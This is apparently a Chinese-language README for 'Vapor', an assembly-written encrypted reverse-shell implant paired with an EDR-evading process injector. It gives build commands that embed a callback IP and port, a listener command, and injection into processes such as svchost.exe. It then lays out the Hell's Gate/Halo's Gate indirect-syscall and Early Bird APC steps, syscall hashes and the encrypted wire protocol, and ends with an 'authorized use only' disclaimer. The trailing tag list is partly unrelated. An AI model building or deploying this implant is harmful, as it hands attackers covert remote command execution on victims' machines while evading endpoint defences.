Real-Fruit-Snacks/Vapor

GitHub: Real-Fruit-Snacks/Vapor

一个用纯 x86_64 汇编编写的轻量级加密反向 Shell,结合 Hell's Gate 直接系统调用和 Early Bird 注入技术实现对 EDR 的规避。

Stars: 0 | Forks: 0

Vapor
Vapor 是一个完全用 x86_64 NASM 汇编编写的加密反向 Shell。一个约 3.6 KB 的位置无关 Shellcode Implant 通过原始 TCP 连接回连,使用 ChaCha20-Poly1305 认证加密,完全通过 PEB Walking 解析 —— 零导入,零依赖。包含一个 Hell's Gate + 间接系统调用 Process Injector,用于绕过 EDR 部署。

## 目录 - [亮点](#highlights) - [快速开始](#quick-start) - [架构](#architecture) - [注入器](#injector) - [配置](#configuration) - [通信协议](#wire-protocol) - [内部机制](#internals) - [测试](#testing) - [项目结构](#project-structure) - [未来工作](#future-work) ## 亮点
### ChaCha20-Poly1305 纯汇编实现的完整 RFC 8439 AEAD。使用 256 位预共享密钥进行认证加密 —— 每条消息都通过 `SystemFunction036` (RtlGenRandom) 获取新的随机 Nonce,被篡改的 Payload 会被静默拒绝。 ### ~3.6 KB Shellcode 整个 Implant —— API 解析、网络、加密、命令执行、Nonce 生成 —— 仅占用约 3,600 字节的位置无关代码。无编译器,无运行时,无冗余。
### PEB Walk + 哈希查找 所有 Windows API 均在运行时通过 PEB Walking 和 ror13 哈希匹配进行解析。无导入表,无 API 名称字符串 —— 只有固化在二进制文件中的哈希值。`GetProcAddress` 用于解析转发的导出函数(例如 `SystemFunction036`)。 ### 无依赖 零 DLL 导入。每个 API(kernel32, ws2_32, advapi32)都从 PEB 动态解析。无需链接库,无需在目标机器上安装任何东西。
### 管道命令执行 命令通过 `CreateProcessA` 以 `cmd.exe /c` 执行,通过匿名管道捕获 stdout 和 stderr。PeekNamedPipe 轮询循环以 30 秒超时实时流式传输输出。输出经加密后通过链路发回。 ### 双重输出格式 既可构建为原始 PIC Shellcode (`vapor.bin`) 用于注入,也可构建为最小化 PE (`vapor.exe`) 用于直接执行。同一源码,同一加密,两种部署选择。
### Hell's Gate + 间接系统调用 注入器在运行时从 ntdll 存根(Hell's Gate)提取系统调用号,并针对被 Hook 的存根使用 Halo's Gate 作为回退。所有 NT 系统调用通过在 ntdll 中找到的间接 `syscall` 小工具执行 —— 返回地址回溯到 ntdll,而非注入器。 ### Early Bird APC 注入 目标进程通过 `CreateProcessA` 创建为挂起状态。Shellcode 使用 NT 系统调用写入远程内存(RW → RX),然后作为 APC 排队到主线程。恢复时,APC 在进程入口点之前触发 —— 在 EDR 用户态 Hook 初始化之前。
## 快速开始 ### 前置条件 | 需求 | 版本 | |-------------|---------| | NASM | 最新版 | | MinGW-w64 (链接器) | `x86_64-w64-mingw32-ld` | | Python | >= 3.8 | | cryptography | `pip install cryptography` | ### 构建与部署 ``` # 克隆 git clone https://github.com/Real-Fruit-Snacks/Vapor.git cd Vapor # Build — 生成随机 PSK,汇编,并打印监听器命令 ./build.sh 10.10.14.1 443 # 或者指定你自己的密钥 ./build.sh 10.10.14.1 443 <64-char-hex> # 或者直接使用 make make LHOST=10.10.14.1 LPORT=443 KEY=<64-char-hex> all # 启动监听器 (build.sh 会打印包含你密钥的此命令) python3 listener.py --lport 443 --key # 部署 vapor.exe 到目标 (或通过 injector.exe 注入 vapor.bin) ``` ### 注入器部署 ``` # 构建针对特定进程的 injector (默认: RuntimeBroker.exe) make LHOST=10.10.14.1 LPORT=443 KEY= TARGET="C:\Windows\System32\svchost.exe" all # 部署 injector.exe 到目标 — 它内嵌 vapor.bin 并在执行时注入 ``` 注入器在构建时通过 `incbin` 嵌入 `vapor.bin`。将 `injector.exe` 投放到目标机器并运行 —— 无需额外文件。 ## 架构 ``` [Target] [Operator] vapor ────── raw TCP ──────> listener.py <── encrypted cmd ──── ── encrypted output ──> ``` | 层 | 实现 | |-------|----------------| | **传输** | 通过 `WSASocketA` / `connect` 的原始 TCP Socket | | **加密** | ChaCha20-Poly1305 AEAD (RFC 8439),预共享 256 位密钥 | | **Nonce** | 12 字节,每条消息通过 `SystemFunction036` (RtlGenRandom) 随机生成 | | **通信格式** | `[len(4)][nonce(12)][ciphertext][mac(16)]` | | **API 解析** | PEB walk → LDR → 导出表 → ror13 哈希匹配 | | **执行** | 带有 `cmd.exe /c` 的 `CreateProcessA`,管道 stdout+stderr,PeekNamedPipe 轮询,30秒超时 | | **注入** | Hell's Gate SSN 提取 → 通过 ntdll 小工具的间接系统调用 → Early Bird APC | | **监听器** | 带有 `cryptography` 库的 Python 3,Catppuccin Mocha 主题 CLI | ## 注入器 进程注入器 (`injector.asm` / `injector.exe`) 使用直接 NT 系统调用将 `vapor.bin` 部署到目标进程中 —— 没有 EDR 可以 Hook 的高级 API 调用。 ### 技术栈 | 技术 | 目的 | |-----------|---------| | **Hell's Gate** | 在运行时从 ntdll 存根操作码 (`4C 8B D1 B8 XX XX 00 00`) 中提取系统调用号 | | **Halo's Gate** | 当存根被 Hook 时的回退方案 —— 扫描相邻存根 ±16 个位置,根据距离调整 SSN | | **间接系统调用** | 跳转到 ntdll 的 `syscall; ret` 小工具 (`0F 05 C3`),使返回地址位于 ntdll 内 | | **Early Bird APC** | 将 Shellcode 作为 APC 排队到挂起的进程 —— 在入口点和 EDR Hook 之前触发 | ### 注入流程 ``` 1. PEB walk → find ntdll.dll + kernel32.dll 2. Resolve CreateProcessA, ExitProcess via export table hash walk 3. Hell's Gate: extract SSNs for 5 NT functions from ntdll stubs 4. Find indirect syscall gadget (0F 05 C3) in ntdll .text section 5. CreateProcessA(TARGET, CREATE_SUSPENDED) 6. NtAllocateVirtualMemory — allocate RW memory in target 7. NtWriteVirtualMemory — write vapor.bin shellcode 8. NtProtectVirtualMemory — change RW → RX 9. NtQueueApcThread — queue shellcode to suspended main thread 10. NtResumeThread — thread wakes, APC fires, shellcode executes ``` ### 使用的 NT 系统调用 | 系统调用 | ror13 哈希 | 用途 | |---------|------------|---------| | `NtAllocateVirtualMemory` | `0xd33bcabd` | 在目标进程中分配 RW 内存 | | `NtWriteVirtualMemory` | `0xc5108cc2` | 将 Shellcode 写入分配的内存 | | `NtProtectVirtualMemory` | `0x8c394d89` | 将内存保护属性从 RW 更改为 RX | | `NtQueueApcThread` | `0x52e9a746` | 将 APC 排队到挂起的线程 | | `NtResumeThread` | `0xc54a46c8` | 恢复线程以触发 APC 执行 | ### 构建时目标 注入器的目标进程可在构建时配置: ``` # 默认: RuntimeBroker.exe make all # 自定义目标 make TARGET="C:\Windows\System32\svchost.exe" all make TARGET="C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE" all ``` ## 配置 ### 编译时(Makefile 变量) | 变量 | 默认值 | 描述 | |----------|---------|-------------| | `LHOST` | `127.0.0.1` | 回连 IP | | `LPORT` | `443` | 回连端口 | | `KEY` | 随机 256 位 | 预共享密钥(64 个十六进制字符) | | `TARGET` | `C:\Windows\System32\RuntimeBroker.exe` | 注入器目标进程路径 | ### 监听器参数 | 标志 | 默认值 | 描述 | |------|---------|-------------| | `--lhost` | `0.0.0.0` | 监听地址 | | `--lport` | `443` | 监听端口 | | `--key` | 必填 | 64 字符十六进制 PSK | ## 通信协议 链路上的每条消息在双向中都遵循相同的帧格式: ``` ┌──────────┬──────────────┬────────────────┬──────────┐ │ len (4B) │ nonce (12B) │ ciphertext (N) │ mac (16B)│ │ LE u32 │ random │ ChaCha20 │ Poly1305 │ └──────────┴──────────────┴────────────────┴──────────┘ ``` - **len**: 小端 uint32,包含 `nonce + ciphertext + mac`(长度字段之后的所有内容) - **nonce**: 来自 `SystemFunction036` (RtlGenRandom) 的 12 个随机字节 - **ciphertext**: ChaCha20 流密码(计数器从 1 开始,根据 RFC 8439) - **mac**: 使用从 ChaCha20 块 0 派生的一次性密钥,对 `pad16(ciphertext) || le64(0) || le64(ct_len)` 计算的 Poly1305 标签 操作员发送明文命令(例如 `whoami`, `dir`)。Implant 通过 `cmd.exe /c` 执行它们并返回输出。发送 `EXIT` 以干净地断开连接。 ## 内部机制 ### API 解析 1. 遍历 PEB (`gs:[0x60]`) → `PEB_LDR_DATA` → `InMemoryOrderModuleList` 2. 使用 ror13 哈希每个模块名称以找到 `kernel32.dll` 3. 遍历导出表,使用 ror13 哈希每个导出名称以进行匹配 4. `GetProcAddress` 解析转发的导出(advapi32 → cryptbase 转发用于 `SystemFunction036`) ### 加密实现 所有加密均以纯 x86_64 汇编实现: - **ChaCha20 quarter-round**: 基于寄存器,10 个双轮(共 20 轮) - **ChaCha20 block**: 生成 64 字节密钥流块 - **ChaCha20 encrypt**: 密钥流与明文/密文异或,计数器从 1 开始 - **Poly1305 MAC**: 完整的模 2^130-5 算术,使用 128 位部分积并通过 `mul` 进行适当的溢出处理(而非 `lea` 截断) - **AEAD**: ChaCha20 块 0 → Poly1305 一次性密钥,使用计数器 1+ 加密,根据 RFC 8439 第 2.8 节对密文进行 MAC 计算 ### Hell's Gate SSN 提取 ``` 1. Read first 4 bytes of ntdll stub 2. Check for mov r10, rcx; mov eax, SSN pattern (4C 8B D1 B8) 3. If matched: SSN = bytes [4..5] — done 4. If hooked (JMP patch): Halo's Gate fallback a. Scan neighbor stubs ±32 bytes (up to 16 in each direction) b. Find first unhooked neighbor c. SSN = neighbor_SSN ± distance ``` ### 内存布局 Implant 在栈上分配约 148 KB(探测了 37 个守护页): | 偏移量 | 大小 | 用途 | |--------|------|---------| | `+0` | 8 KB | 接收缓冲区(解密后的命令) | | `+8192` | 64 KB | 输出缓冲区(命令 stdout/stderr) | | `+73728` | 64 KB | 加密缓冲区(nonce + ciphertext + MAC) | | `+139328` | 8 KB | 命令字符串(`cmd.exe /c ...`) | | `+147584` | 480 B | STARTUPINFO, PROCESS_INFORMATION, 管道句柄等 | ## 测试 ### 手动测试 ``` # 终端 1: 启动监听器 python3 listener.py --lhost 127.0.0.1 --lport 4444 --key aabbccdd11223344aabbccdd11223344aabbccdd11223344aabbccdd11223344 # 终端 2: 直接启动 implant .\vapor.exe # 终端 2 (替代方案): 通过 injector 启动 .\injector.exe ``` 自动化 E2E 测试和组件测试工具位于 `tests/` 目录(未包含在仓库中)。 ## 项目结构 ``` vapor/ ├── vapor.asm # Implant source (~1636 lines x86_64 NASM) ├── injector.asm # Hell's Gate + indirect syscall + Early Bird APC injector ├── listener.py # Python TCP listener with interactive CLI ├── build.sh # One-command build script (key gen + assemble) ├── Makefile # NASM + ld build targets (vapor + injector) └── docs/ ├── index.html # GitHub Pages landing page └── banner.svg # Repository banner ``` ## 未来工作 - 带有抖动退避的重连 - 文件上传/下载命令 - 反调试/反沙箱检查 - 分阶段 Payload 投递 - SOCKS 代理 pivot
**纯汇编。完全加密。** *Vapor —— 约 3.6 KB 的 ChaCha20-Poly1305 反向 Shell* **仅供授权使用。** 此工具旨在用于合法的安全研究、授权渗透测试和教育目的。未经授权访问计算机系统是非法的。用户需自行确保遵守所有适用法律,并在使用前获得适当授权。
标签:AEAD 加密, C2 植入物, ChaCha20-Poly1305, DNS 反向解析, EDR 规避, Golang, Hell's Gate, NASM, PEB Walking, Shellcode 开发, SSH蜜罐, Windows 内部机制, x86_64 汇编, 中高交互蜜罐, 云资产清单, 代理, 位置无关代码, 加密通信, 反向 Shell, 反射式注入, 安全报告生成, 安全编程, 底层开发, 恶意软件开发, 文件系统模拟, 无文件攻击, 端点可见性, 网络信息收集, 网络安全, 进程注入, 逆向工具, 逆向工程, 间接系统调用, 隐私保护, 高危端口监控